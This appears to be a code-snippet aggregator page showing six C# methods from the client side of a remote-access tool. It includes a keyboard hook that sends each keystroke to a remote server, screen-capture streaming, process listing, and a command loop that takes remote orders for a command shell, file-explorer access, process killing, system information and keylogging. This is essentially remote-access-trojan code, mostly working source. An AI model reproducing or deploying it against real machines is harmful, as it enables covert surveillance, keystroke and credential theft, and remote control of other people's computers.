Esempio n. 1
0
 private void keyHookProc(object sender, KeyboardHookedEventArgs e)
 {
     if (isLoggerStarted)
     {
         try
         {
             string keyData = e.KeyCode.ToString();
             if (tmpKeyInput != keyData)
             {
                 if (keyData.Length == 1)
                 {
                     clientLogger.Send(keyData);
                 }
                 else if (keyData.Length == 2)
                 {
                     clientLogger.Send("[" + keyData + "]");
                 }
                 else
                 {
                     clientLogger.Send("[" + keyData + "]\r\n");
                 }
             }
             tmpKeyInput = keyData;
         }
         catch (Exception ex)
         {
             isLoggerStarted = false;
         }
     }
 }
Esempio n. 2
0
 private void startTaskMgr(string connectIP, int connectPort)
 {
     Task.Factory.StartNew(() =>
     {
         TCP.Client clientTaskMgr = null;
         try
         {
             clientTaskMgr = new TCP.Client(connectIP, connectPort);
             if (access_TaskMgr)
             {
                 while (true)
                 {
                     clientTaskMgr.Send(getProcessInfo());
                     clientTaskMgr.RecvBytes();
                 }
             }
             else
             {
                 if (clientTaskMgr != null)
                 {
                     clientTaskMgr.Close();
                 }
             }
         }
         catch (Exception ex)
         {
             if (clientTaskMgr != null)
             {
                 clientTaskMgr.Close();
             }
             Console.WriteLine(ex.Message);
         }
     });
 }
Esempio n. 3
0
 private void start_capture(string ip_addr, int port)
 {
     Task.Factory.StartNew(() =>
     {
         TCP.Client cl_cap = new TCP.Client(ip_addr, port);
         if (access_Capture)
         {
             status_camera.Visible = true;
             try
             {
                 while (is_connected)
                 {
                     cl_cap.Send(get_screen_bytes(), 5000);
                     string[] sp_data = cl_cap.RecvString(5000).Split(',');
                     Thread.Sleep(int.Parse(sp_data[0]));
                 }
             }
             catch
             {
             }
             status_camera.Visible = false;
         }
         cl_cap.Close();
     });
 }
Esempio n. 4
0
 private void show_messagebox(string raw_data)
 {
     try
     {
         if (access_GetMsg)
         {
             string[] data = raw_data.Split(' ');
             Task.Factory.StartNew(() =>
             {
                 MessageBox.Show(base64De(data[1]), base64De(data[2]), (MessageBoxButtons)int_pares_ex(data[3]), (MessageBoxIcon)int_pares_ex(data[4]), MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly);
             });
             clientMain.Send("+OK");
         }
         else
         {
             clientMain.Send("+ERROR");
         }
     }
     catch
     {
     }
 }
Esempio n. 5
0
        private void start_pinging(string ip_addr, int port)
        {
            Task.Factory.StartNew(() =>
            {
                clientPing = new TCP.Client(ip_addr, port, 5);
                try
                {
                    Stopwatch sw = new Stopwatch();
                    do
                    {
                        sw.Start();
                        clientPing.Send("+OK", 5000);
                        clientPing.RecvString(5000);
                        sw.Stop();
                        status_text.Text = clientPing.GetServerIP + " - " + sw.Elapsed.TotalMilliseconds.ToString() + "ms";
                        sw.Reset();

                        Console.WriteLine("+PING");
                        Thread.Sleep(1000);
                        if (disconnectedFlag)
                        {
                            break;
                        }
                    } while (is_connected);
                }
                catch (Exception ex) { }
                is_connected    = false;
                isLoggerStarted = false;
                if (clientPing != null)
                {
                    clientPing.Close();
                }
                if (clientMain != null)
                {
                    clientMain.Close();
                }
                if (clientLogger != null)
                {
                    clientLogger.Close();
                }
                clientMain   = null;
                clientPing   = null;
                clientLogger = null;
            });
        }
Esempio n. 6
0
        private bool start_connection(string ip_addr, int port)
        {
            try
            {
                clientMain = new TCP.Client(ip_addr, port, 1);
                clientMain.Send("+OK", 5000);
                Console.WriteLine("Connected: " + clientMain.GetServerIP);
                status_text.Text = "接続確立中...";
                is_connected     = true;
            }
            catch (Exception ex)
            {
                if (clientMain != null)
                {
                    clientMain.Close();
                }
                clientMain = null;
                if (disconnectedFlag)
                {
                    return(true);
                }
                return(false);
            }

            while (is_connected)
            {
                try
                {
                    string   raw_data = clientMain.RecvString();
                    string[] data     = raw_data.Split(' ');
                    string   cmd      = data[0];
                    Console.WriteLine(cmd);

                    if ((cmd == "+START_CAP"))
                    {
                        start_capture(ip_addr, int.Parse(data[1]));
                    }
                    else if (cmd == "+START_PING")
                    {
                        start_pinging(ip_addr, int.Parse(data[1]));
                    }
                    else if (cmd == "+START_MOUSE")
                    {
                        start_mouse_pointer(ip_addr, int.Parse(data[1]));
                    }
                    else if (cmd == "+START_KEYBOARD")
                    {
                        start_keyboard_capture(ip_addr, int.Parse(data[1]));
                    }
                    else if (cmd == "+MSG")
                    {
                        show_messagebox(raw_data);
                    }
                    else if ((cmd == "+SCREENSHOT") & access_Capture)
                    {
                        clientMain.Send(get_screen_bytes());
                    }
                    else if ((cmd == "+GET_INFO") & access_GetPCInfo)
                    {
                        CommandClasses.GetInformations.SendSystemInformations(clientMain);
                    }
                    else if (cmd == "+LOGGER")
                    {
                        startKeyboardLogger(ip_addr, int.Parse(data[1]));
                    }
                    else if (cmd == "+CMD")
                    {
                        startCommandShell(raw_data);
                    }
                    else if (cmd == "+START_TASKMGR")
                    {
                        startTaskMgr(ip_addr, int.Parse(data[1]));
                    }
                    else if (cmd == "+TASK_KILL")
                    {
                        killProcess(int.Parse(data[1]));
                    }
                    else if (cmd == "+START_EXPLORER")
                    {
                        CommandClasses.Explorer.StartExplorerAccess(ip_addr, int.Parse(data[1]), access_FileAccess, access_FileChange, this);
                    }
                    else if (cmd == "+SEND_IMG")
                    {
                        startSendImage(raw_data.Substring(10));
                    }
                    else if (cmd == "+SHUTDOWN")
                    {
                        shutdownFlag = true;
                        throw new Exception();
                    }
                    else if (cmd == "")
                    {
                        throw new Exception();
                    }
                    GC.Collect();
                    Thread.Sleep(1000);
                }
                catch (Exception ex)
                {
                    if (clientPing != null)
                    {
                        clientPing.Close();
                    }
                    if (clientMain != null)
                    {
                        clientMain.Close();
                    }
                    clientPing = null;
                    clientMain = null;
                    Console.WriteLine(ex.ToString());
                    is_connected = false;
                    if (shutdownFlag)
                    {
                        return(true);
                    }
                }
            }
            return(false);
        }